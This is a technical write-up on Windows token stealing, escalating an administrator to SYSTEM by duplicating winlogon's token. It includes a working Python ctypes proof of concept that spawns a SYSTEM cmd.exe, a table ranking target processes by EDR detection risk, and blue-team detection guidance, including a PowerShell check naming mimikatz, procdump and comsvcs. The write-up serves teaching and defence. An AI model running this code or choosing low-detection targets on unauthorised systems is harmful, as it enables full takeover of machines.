← Back to writeups Privilege Escalation

Token Stealing: Admin to SYSTEM

OpenProcess → OpenProcessToken → DuplicateTokenEx → CreateProcessWithTokenW

Token stealing demonstration - Discord token hijack

// What is this?
Cloning a SYSTEM process's security badge to gain its privileges — without a password.

Every Windows process carries a security token like a staff badge. With SeDebugPrivilege, you can open another process (winlogon.exe runs as SYSTEM), duplicate its token, and spawn a new process wearing that token. Your new shell has full SYSTEM rights with no credentials required. The technique requires admin rights to start — it's the final step from High integrity to SYSTEM, not initial access.

PowerShell — Token Theft Detection
# Processes accessing lsass.exe (if Sysmon installed)
if (Get-Service -Name Sysmon* -ErrorAction SilentlyContinue) {
  Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; Id=10} -MaxEvents 200 -ErrorAction SilentlyContinue |
    Where-Object { $_.Message -match "lsass.exe" }
} else { Write-Host "Sysmon not installed - use Defender or EDR logs" }

# Check for credential dumping tools
Get-Process | Where-Object { $_.Name -match "mimikatz|procdump|sqldumper|comsvcs" }

# Processes with SeDebugPrivilege (requires whoami /priv output)
whoami /priv | findstr SeDebug
If this flags: Non-system processes accessing lsass.exe are stealing credentials. SeDebugPrivilege on non-admin processes is suspicious. Check for token impersonation.

Every Windows process carries a security token — its identity card. SYSTEM processes (winlogon, services, lsass) hold SYSTEM tokens. Admins with SeDebugPrivilege can open any process, extract its token, duplicate it, and spawn a new process bearing that stolen identity.

OpenProcess(winlogon)  →  OpenProcessToken  →  DuplicateTokenEx  →  CreateProcessWithTokenW

Why winlogon

winlogon.exe is always running, always at SYSTEM, and always accessible to elevated admins. It's the canonical target for token theft. Other SYSTEM processes (services.exe, lsass.exe) work equally well, but winlogon is stable and predictable.

You need the winlogon PID first. From an elevated shell: Get-Process winlogon | Select-Object Id

Required Privilege

SeDebugPrivilege is granted to the Administrators group by default. It allows opening any process regardless of the DACL — even LSASS. Without it, OpenProcess on a SYSTEM process returns ERROR_ACCESS_DENIED.

Implementation

Source: uac-to-system-poc/token_steal.py — credit Rainfantry + Asi.

import ctypes
from ctypes import wintypes

kernel32 = ctypes.WinDLL('kernel32')
advapi32 = ctypes.WinDLL('advapi32')

PROCESS_QUERY_INFORMATION = 0x0400
TOKEN_DUPLICATE            = 0x0002
TOKEN_ALL_ACCESS           = 0xF01FF
SecurityImpersonation      = 2
TokenPrimary               = 1

class STARTUPINFO(ctypes.Structure):
    _fields_ = [
        ("cb", wintypes.DWORD),
        ("lpReserved", wintypes.LPWSTR),
        ("lpDesktop", wintypes.LPWSTR),
        ("lpTitle", wintypes.LPWSTR),
        ("dwX", wintypes.DWORD), ("dwY", wintypes.DWORD),
        ("dwXSize", wintypes.DWORD), ("dwYSize", wintypes.DWORD),
        ("dwXCountChars", wintypes.DWORD), ("dwYCountChars", wintypes.DWORD),
        ("dwFillAttribute", wintypes.DWORD),
        ("dwFlags", wintypes.DWORD),
        ("wShowWindow", wintypes.WORD),
        ("cbReserved2", wintypes.WORD),
        ("lpReserved2", wintypes.LPBYTE),
        ("hStdInput", wintypes.HANDLE),
        ("hStdOutput", wintypes.HANDLE),
        ("hStdError", wintypes.HANDLE),
    ]

class PROCESS_INFORMATION(ctypes.Structure):
    _fields_ = [
        ("hProcess", wintypes.HANDLE),
        ("hThread", wintypes.HANDLE),
        ("dwProcessId", wintypes.DWORD),
        ("dwThreadId", wintypes.DWORD),
    ]

def steal_token(target_pid):
    # Step 1: Open SYSTEM process (requires SeDebugPrivilege)
    hProcess = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, target_pid)
    if not hProcess:
        return False

    # Step 2: Get the process token
    hToken = wintypes.HANDLE()
    advapi32.OpenProcessToken(hProcess, TOKEN_DUPLICATE, ctypes.byref(hToken))

    # Step 3: Duplicate it as a primary token
    hNewToken = wintypes.HANDLE()
    advapi32.DuplicateTokenEx(
        hToken, TOKEN_ALL_ACCESS, None,
        SecurityImpersonation, TokenPrimary,
        ctypes.byref(hNewToken)
    )

    # Step 4: Spawn cmd.exe bearing the stolen SYSTEM token
    si = STARTUPINFO(); si.cb = ctypes.sizeof(STARTUPINFO)
    pi = PROCESS_INFORMATION()
    advapi32.CreateProcessWithTokenW(
        hNewToken, 0,
        "C:\\Windows\\System32\\cmd.exe",
        None, 0, None, None,
        ctypes.byref(si), ctypes.byref(pi)
    )

    # Cleanup handles
    for h in [hNewToken, hToken, hProcess, pi.hProcess, pi.hThread]:
        kernel32.CloseHandle(h)
Research credit: Rainfantry + Asi — two veterans, different countries, same discipline. Source: uac-to-system-poc (22nd Survey Division)

What Each Step Does

  1. OpenProcess — get a handle to winlogon. Requires PROCESS_QUERY_INFORMATION (0x0400). SeDebugPrivilege overrides DACL restrictions.
  2. OpenProcessToken — extract the token from that handle. Requires TOKEN_DUPLICATE access on the token.
  3. DuplicateTokenEx — clone the token as a Primary token (vs Impersonation). Primary tokens can be used to create new processes; Impersonation tokens can only impersonate the caller's thread context.
  4. CreateProcessWithTokenW — spawn a new process using the duplicated token as its identity. The resulting process is NT AUTHORITY\SYSTEM.

Token Types: Primary vs Impersonation

Primary Token

Assigned to a process. Used by CreateProcessWithTokenW. The new process permanently owns this identity.

Required for spawning a SYSTEM cmd.exe.

Impersonation Token

Assigned to a thread. Used by ImpersonateLoggedOnUser. Thread temporarily acts as the target user for API calls.

Enough for SeImpersonate attacks (Potato variants).

Relevant Privileges

PrivilegePowerDefault Holders
SeDebugPrivilegeOpen any process regardless of DACL — required for this techniqueAdministrators
SeImpersonatePrivilegeImpersonate any user — basis for Potato family attacksLOCAL SERVICE, NETWORK SERVICE, IIS AppPools
SeTcbPrivilegeAct as OS — grants ability to create tokens from scratchSYSTEM only
SeAssignPrimaryTokenPrivilegeReplace a process token — required by CreateProcessWithTokenWSYSTEM, LOCAL SERVICE
SeBackupPrivilegeRead any file bypassing DACL — can dump SAM/SYSTEM hivesAdministrators, Backup Operators
SeRestorePrivilegeWrite any file bypassing DACL — can replace system binariesAdministrators, Backup Operators

Why this table matters: Service accounts (IIS, SQL Server, etc.) often have SeImpersonatePrivilege but not SeDebugPrivilege. This is why Potato-family attacks target those accounts — they can impersonate tokens from incoming connections but can't directly open SYSTEM processes.

Alternative SYSTEM Targets

winlogon.exe isn't the only option. Any SYSTEM process works — choose based on stability and detection profile:

ProcessAlways PresentDetection RiskNotes
winlogon.exe Yes Medium Classic target — well-known, some EDRs alert
services.exe Yes Medium Service Control Manager — always SYSTEM
lsass.exe Yes High Credential store — heavily monitored by EDRs
spoolsv.exe Usually Low Print Spooler — less monitored, PrintNightmare history
wininit.exe Yes Medium Windows Initialization — parent of services.exe

The Token Duplication Flow

Understanding the internal flow helps defenders write better detection rules:

# CONCEPT: Token stealing decision flow (PSEUDOCODE)
# What the API calls actually do under the hood

def token_steal_flow():
    # 1. Find SYSTEM process PID
    target_pid = find_process_by_name("winlogon.exe")  # or any SYSTEM process

    # 2. OpenProcess — requires SeDebugPrivilege to bypass DACL
    #    Kernel checks: caller has debug privilege? → allow handle
    handle = OpenProcess(PROCESS_QUERY_INFORMATION, target_pid)
    #    → IOC: Handle request to SYSTEM process from non-SYSTEM caller

    # 3. OpenProcessToken — get the security token from handle
    #    Kernel checks: caller has TOKEN_DUPLICATE access? → allow token handle
    token = OpenProcessToken(handle, TOKEN_DUPLICATE)
    #    → IOC: Token handle request to protected process

    # 4. DuplicateTokenEx — clone token as Primary (usable for process creation)
    #    SecurityImpersonation level allows full identity theft
    #    TokenPrimary type allows CreateProcessWithTokenW
    new_token = DuplicateTokenEx(token, TOKEN_ALL_ACCESS, SecurityImpersonation, TokenPrimary)
    #    → IOC: Token duplication event (ETW / Sysmon)

    # 5. CreateProcessWithTokenW — spawn process with stolen identity
    #    Requires SeAssignPrimaryTokenPrivilege (admins have this)
    CreateProcessWithTokenW(new_token, "cmd.exe")
    #    → IOC: Process created with token that doesn't match parent

Detection opportunity: Each step generates kernel events. Sysmon Event ID 10 (ProcessAccess) and Event ID 8 (CreateRemoteThread) on SYSTEM processes from non-SYSTEM callers are high-fidelity indicators.

Detection — Blue Team

Handle IOC: Event ID 4656/4663 — handle request to winlogon.exe or lsass.exe from a non-SYSTEM process. Unusual access rights on system processes (PROCESS_QUERY_INFORMATION from a non-system binary).

Token IOC: Event ID 4624 (Logon) with Logon Type 9 (NewCredentials) or unusual Subject → New Logon relationships. A cmd.exe at SYSTEM created from a user-space parent is anomalous.

Process IOC: Event ID 4688 — process creation with token that doesn't match parent. cmd.exe parented to a non-SYSTEM Python process running at SYSTEM is a strong indicator.

ETW: Microsoft-Windows-Security-Auditing with DuplicateHandle events. Sysmon Event ID 10 (ProcessAccess) on winlogon.exe from unexpected callers.

Token Stealing vs DLL Injection

Token Stealing

Take target's identity for your process.

Target process is untouched.

Spawns fresh process. Cleaner.

DLL Injection

Put your code inside target's process.

Target process is modified.

Code runs under target's existing identity automatically.

Verify

In the spawned cmd.exe: whoami → should return nt authority\system

Cross-check with: whoami /groups | findstr "System Mandatory"

Demo

Full chain: SeDebugPrivilege enumeration → winlogon PID → OpenProcess → DuplicateTokenEx → CreateProcessWithTokenW → NT AUTHORITY\SYSTEM prompt.

MITRE ATT&CK: T1134.001 (Access Token Manipulation: Token Impersonation/Theft), T1134.002 (Create Process with Token)